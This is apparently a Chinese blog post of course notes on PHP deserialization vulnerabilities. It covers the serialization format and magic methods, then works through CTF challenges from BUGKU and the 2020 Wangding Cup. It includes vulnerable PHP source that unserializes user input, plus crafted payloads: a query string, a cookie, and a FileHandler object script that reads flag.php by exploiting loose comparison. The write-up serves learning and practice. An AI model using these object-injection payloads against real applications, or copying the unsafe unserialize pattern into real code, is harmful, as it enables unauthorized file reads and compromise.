安全反序列化漏洞WEB漏洞—反序列化之PHP&JAVA全解(上)
Yatming的博客WEB漏洞—反序列化之PHP&JAVA全解(上)

序列化就是将js对象序列化为字符串,反序列化就是将字符串反序列化为js对象,js中通过调用JSON方法,可以将对象序列化成字符串,也可以将字符串反序列化成对象

而不管是java反序列还是php反序列,原理都是和js的一模一样,只不过可能函数有所区别
序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #PHP 反序列化 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码 执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行 反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象
#触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法)
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用 isset()或 empty()触发 __unset() //在不可访问的属性上使用 unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
|
例子 |
名称 |
结果 |
$a == $b |
等于 |
TRUE,如果类型转换后 $a 等于 $b。 |
$a === $b |
全等 |
TRUE,如果 $a 等于 $b,并且它们的类型也相同。 |
$a != $b |
不等 |
TRUE,如果类型转换后 $a 不等于 $b。 |
$a <> $b |
不等 |
TRUE,如果类型转换后 $a 不等于 $b。 |
$a !== $b |
不全等 |
TRUE,如果 $a 不等于 $b,或者它们的类型不同。 |
$a < $b |
小与 |
TRUE,如果 $a 严格小于 $b。 |
$a > $b |
大于 |
TRUE,如果 $a 严格大于 $b。 |
$a <= $b |
小于等于 |
TRUE,如果 $a 小于或者等于 $b。 |
$a >= $b |
大于等于 |
TRUE,如果 $a 大于或者等于 $b。 |
这里注意的是,三个等于号表示的是如果a等于b,在这个条件满足的情况下,然后还需要满足类型也需要满足

例如:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}
O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下
类型 |
结构 |
String |
s:size:value; |
Integer |
i:value; |
Boolean |
b:value;(保存1或0) |
Null |
N; |
Array |
a:size:{key definition;value definition;(repeated per element)} |
Object |
O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)} |
这是源文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php error_reporting(0);
include "flag.php"; $KEY = "xiaodi"; $str = $_GET['str'];
if(unserialize($str) === "$KEY") { echo "$flag"; } show_source(_FILE_);
class ABC{ public $test; function __construct(){ $test = 1; echo '调用了构造函数<br>'; } function __destruct(){ echo '调用了析构函数<br>'; } function __wakeup(){ echo '调用了苏醒函数<br>'; } } echo '创建对象a<br>'; $a = new ABC; echo '序列化<br>'; $a_ser=serialize($a); echo '反序列化<br>'; $a_unser=unserialize($a_ser); echo '对象快要死了!'; ?>
|
还需要一个flag文件
1 2 3
| <?php $flag='xiaodi XI HUAN CHI XI GUA'; ?>
|
直接访问的话是这样:

然后加上这个:?str=s:6:”xiaodi”;

原理:通过源码可以发现如果想要得到flag,那么就需要用反序列化的格式进行格式转化,这个下面也用在线网站的代码演示了
但是小迪老师访问的页面的源码是全部显示出来了,我这里并没有显示,不知道啥情况
在线PHP网站
1 2 3 4
| <?php $KEY = 'xiaodi123'; echo serialize($KEY); ?>
|
这里可以看到执行的结果是这个序列化的格式,如果想要还原就需要用反序列化

1 2 3 4
| <?php $KEY = 's:9:"xiaodi123";'; echo unserialize($KEY); ?>
|
执行结果就是:

这里需呀注意的是这里外面需要用单引号括起来,如果是用双引号就会报错,全部用双引号和单引号都会报错
如果这里是123?需要传入一个什么值

用代码跑一下就完了
但是我这里改了,还是不能输入,不知道什么情况
BUGKU案例演示
链接:https://ctf.bugku.com/challenges/detail/id/109.html

对网页进行抓包,发现有一个admin.css的文件


访问之后发现有一个?19267,然后访问这个地址

得到源代码,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['19267'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html>
<?php } ?>
|
分析源码,发现突破口在于cookie,需要利用cookie传递精心构建的序列化字符串,且需要绕过if的第一个条件,然后获得flag
原理和小迪本地的那个例子一样

转码,然后抓包,发到cookie中

发现本来没有cookie,然后自己写一个,得到flag
魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class ABC{ public $test; function __construct(){ $test = 1; echo '调用了构造函数<br>'; } function __destruct(){ echo '调用了析构函数<br>'; } function __wakeup(){ echo '调用了苏醒函数<br>'; } } echo '创建对象a<br>'; $a = new ABC; echo '序列化<br>'; $a_ser=serialize($a); echo '反序列化<br>'; $a_unser=unserialize($a_ser); echo '对象快要死了!'; ?>
|

网鼎杯 2020 青龙大真题-有类魔术方法触发
链接:https://www.ctfhub.com/#/challenge
目的是使用自己构建的序列化字符串创造对象,获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
|
上半部分为类,下半部分为运行部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
|
整理参数,运行一下代码,获得序列化字符串,然后成功获得flag
1 2 3 4 5 6 7 8 9 10
| <?php class FileHandler{ public $op=2; public $filename="flag.php"; public $content="enderman"; } $obj = new FileHandler(); $flag = serialize($obj); echo $flag;
|

2绕过的过程:


扩展